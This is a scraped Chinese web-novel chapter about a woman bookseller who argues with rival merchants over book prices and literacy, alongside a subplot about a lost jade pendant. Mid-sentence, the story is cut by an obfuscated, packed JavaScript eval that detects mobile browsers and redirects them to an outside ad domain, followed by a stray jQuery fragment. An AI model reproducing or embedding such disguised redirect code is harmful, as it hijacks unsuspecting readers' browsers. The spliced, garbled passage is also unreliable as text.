默认冷灰
24号文字
方正启体

14. 第 14 章

作者:万德福本书字数:K更新时间:
    “你分明就是在辩解!又不止扬州一处书贵,如果是书本的价格被压低至此,那岂不是人人都能读书?”


    褚红循着声音看过去,目光落到刚出声的那位掌柜身上。


    “有何不可?”


    “无知的黄毛丫头,若是人人都识字,那岂不是人都可以参加春闱?人人都会有一飞冲天的心思?谁还会愿意去码头卸货?谁还会愿意心甘情愿做一些体力活?”


    那掌柜数落起褚红来,恨不得拆开她的脑袋看看里面装的是不是浆糊。


    “到时候无人再干体力活,难不成你要我们这些掌柜亲自去码头卸货吗?这还算轻,若是到时候引起民间动荡,圣上怪罪下来,还不得治扬州书行一个谋反之罪吗?”


    褚红面上不见怯色,天高皇帝远,每天那么忙,哪里还有多余时间去管一个扬州的书价。


    就因为读书的人多了一些,寻常百姓认识些字就能谋反?怕是这几个掌柜都扒着自己的利润不肯放手,才左右推挠。


    “人人都参加春闱有何不可?想出人头地又有什么错?”


    “若是你们现在家徒四壁,老母辛苦缝衣一家人紧衣缩食只为了凑足银两供你们入学肆,结果却发现即便是入了学肆,她不管缝制多少件衣服就算熬瞎那双眼睛也没有办法买全四书五经。”


    那掌柜却不以为然,冷笑一声,“穷人只需老老实实种地就可,偏要紧衣缩食的供个读书人做什么?什么金凤凰也不是穷乡僻壤就能飞得出的。”


    褚红直视他。


    “就是因为不想受穷,不想自己的子孙像现在一样吃不饱穿不暖,才更想后代活得更好一些而已。她为的或许不是功成名就,只是想家里有个人能识字,日后不被欺负,不会平白无故就被人坑害签下什么荒唐的契约。”


    那掌柜还想再说些什么,却被一旁的几人拦下。


    “人人都读得起书,都认识字才会买书,书行的生意也才会更长久,圣明的朝代不会觉得连百姓识字都是一种错误,届时有能之人纷纷冒出,才是泱泱大国该有的盛况。”


    那位掌柜脸色铁青,被褚红这一句话堵的不知该如何争辩。


    “可是褚娘子,这书本生意若是不挣钱,那也没有必要再白白赔上精力,人工,现在被你压价至此,日后谁家从商还会从书行?”


    “就是就是,说白了你还是想让归月居一家独大。”


    褚红重新又坐了下来,“若是你们答应将书本的价格再降五文,我就将我的制书方法传给你们。”


    此话一出,屋里的那几位掌柜都躁动起来,“此话当真?”


    褚红认真点点头。


    徐州却摆摆手,疑心渐重,“万一我们亏本降价了,你反悔怎么办?到时候我们几个可就全完了。”


    那几个掌柜也没有了刚刚的雀跃。


    “我们可以立下契约,我会将制书方法写出来,你们决定降价的时候再来找我吧。”


    “不过,我可并没有耐心等很长的时间,若是你们不降价,归月居会在一月之后再次降价,到那时就别说我欺负你们了,能不能在扬州继续做下去,就靠你们自己了。”


    没等徐州反应过来褚红便已经离开了。


    “徐掌柜你怎么看?”


    “对呀对呀,她根本不吃戴高帽这一套,还一门心思要我们再降,这不是要我们的老命吗?”


    “我看他是一门心思要把我们都挤走。”


    徐州摸摸自己的胡子,“怕是没那么简单。”


    他看看四周的人,提出疑问“会不会这褚娘子敢如此降价就是因为她的制书方法更省钱一些?”


    他们纷纷投来视线,“徐兄这话是有几分道理。”


    “不如我们就先应下,看看她这方法到底有何奥妙。”


    “翟兄,怎样?佳人是否相邀?”


    见翟子路一副脸黑的模样,就知道肯定是黄了。


    “莫非就连翟兄的玉树临风她也看不上?”


    翟子路没好气的瞥他一眼,“别提了,怕我娘说我,专门劝她带着府里的女眷上山进香去了,结果我昨天在府里整整等了一日,连她的面都没有见到。”


    徐选舒将自己的书掏出来,听他这么说,又道,“那你的玉呢?就这么丢了?”


    翟子路从另一侧的腰间拿下来晃晃,“在这儿呢,官府的人送来的。”


    徐选舒捂嘴轻笑,好个伶俐的小娘子,“早就听闻苏大人和她关系匪浅,现下看未必是传闻。”


    “可不是吗,人都被调任了留下的那些差役还能听她的话。”


    语气中满满都是醋味。


    韩行谦坐在最后面隐约听着前面两人的调笑,眉头微皱。


    那块玉佩很是眼熟,像是前天他在归月居见到的那一块,可当时拿着的那位公子并不是翟子路。


    “世子,归月居到了。”


    一辆宽敞的马车缓缓停下,两匹身材高大的上等好马牵引,帘子上绣了卷云纹寓意吉祥如意,两侧的八角宫灯精细入微。


    马车上下来的公子更是惊为天人。


    感觉到有股视线,他双眸轻抬,那对漆黑的眼睛如同寒冰一般,吓得二楼的金兰忙将脑袋缩回去。


    何立将公主要的书全部找齐后,二人便打算要走。


    陈墨刚起身就看到刚要进门的褚红,下意识他转过身去,上了二楼坐在了一旁的雅座上,看着楼下的吵闹。


    金兰鬼鬼祟祟的将房门开了一条缝,她看向坐在栏杆一侧的那位俊俏公子。


    身上的蓝衣流光似锦,头上戴的玉冠看不出什么形状,只是隐约觉得这人不像凡人。


    觉察到身后的视线,何立微一侧身将陈墨挡住了大半。


    “真小气。”金兰嘀咕一声,又向楼下张望。


    等到事情平定后,听到褚红上楼的脚步声,金兰这才把脑袋缩回去,回到书桌上,装作抄书的样子。


    陈墨微微转头,还想着要是被认出来该怎么解释。


    只见上楼的褚红手里拿着一本账本翻看,见也没见他就推门进了屋里。


    陈墨冷下脸来,转身下楼准备回去。


    “这位客官,刚刚您看的那本书今日刚出了第二卷,要不要一起给您包上?”


    他看了何立一眼,示意何立一起带走,他自己找个地方去坐。


    那块玉佩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159744|164886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是在此时捡到的,想着刚刚的争吵,这人什么心思真是一目了然。


    何立回来的时候就见陈墨手上拿着的东西,“是那两位刚刚留下的?不能是买茶钱吧?”


    陈墨轻笑一声,谁家的买茶钱这么大方?


    “风流公子,真是处处多情。”


    他把手中的玉佩递给何立。


    “去,将它带去官府,让他们查出是谁好好送回去。”


    何立不太懂他们家世子何时这么热心助人了。


    陈墨也说不出自己是什么感觉,只是单纯不想让褚红攀上高枝?又或者是觉得这人的嘴脸配不上褚红?


    反正自己就是不想看到这两人郎情妾意的样子。


    褚红打算在附近几个城池开几个分店,但是看着手上的账本,又焦头烂额。


    一家的账本就够让她头晕眼热的,若是再多几家那不得成宿成宿的看,可是身边又没有什么值得信赖的人手,总不能把刚识字的金兰扔过去吧?


    她也试着去招了一些人手,奈何一听她是老板就个个推辞,难不成女子的身份就这般重要吗?


    把归月居经营至今也不能证明她的能力吗?


    褚红趴在桌上长哀短嘘,“人心中的成见果然是一座大山。”


    其实做了书行行长之后应该是有些用的,但奈何那些老登现在也没有找上门。


    若说把他们搞破产后再一个个收编也是个方法,就是害怕哪日背后给自己捅一刀子。


    她翻看安朝史记的时候,也曾有出过女将军的,而当今的静慈公主也曾在叛军攻城时冷静指挥,亲自击鼓增加士气退敌三百里。


    虽然史书上只有寥寥几笔,可是她这般凌威不惧已经胜过许多男儿。


    就因为史书是男的写的?


    老翁推门进来,给她奉上新茶,“还在看账本啊?天色也太晚了,不能明日再看吗?”


    知道老翁是好心,她喝了口浓茶醒神,难喝。


    “翁叔,就算堆到了明日,也还有明日的账本要看啊。”


    见褚红愁眉苦脸,老翁又开始数落她,“那还不快些找个人嫁了去过富太太的日子,再不济招个赘婿认识些字的也好帮你。”


    褚红尴尬笑着,大概上了年纪的都比较喜欢催婚吧。


    “方法是好方法,可我不想过富太太的生活,我只想做一个家财万贯的小姐,好好享受一下挥金如土醉生梦死的生活。”


    老翁将手中的茶壶放下,“女儿大了哪有不嫁人的呢?老姑老姑就好听了?”


    褚红一时不知道该说什么,她上下看看老翁,心道鳏夫也不好听啊。


    “翁叔,您想认字吗?”


    老翁眼睛瞬间亮起来,鼻子下面两侧的胡子左右都要翘起来了。


    “自然是想的。”


    似乎是想到什么,他的眼睛暗淡起来。


    “如果当年我要是识字的话,就不用起早贪黑跟着师父学习泡茶,若是有一些体面一点的营生,或许老母就不会为我娶妻的事情愁白了头发。”


    看来以前的人和现在的人忧愁的许多事情都极为相似。


    “那现在您还想认字吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)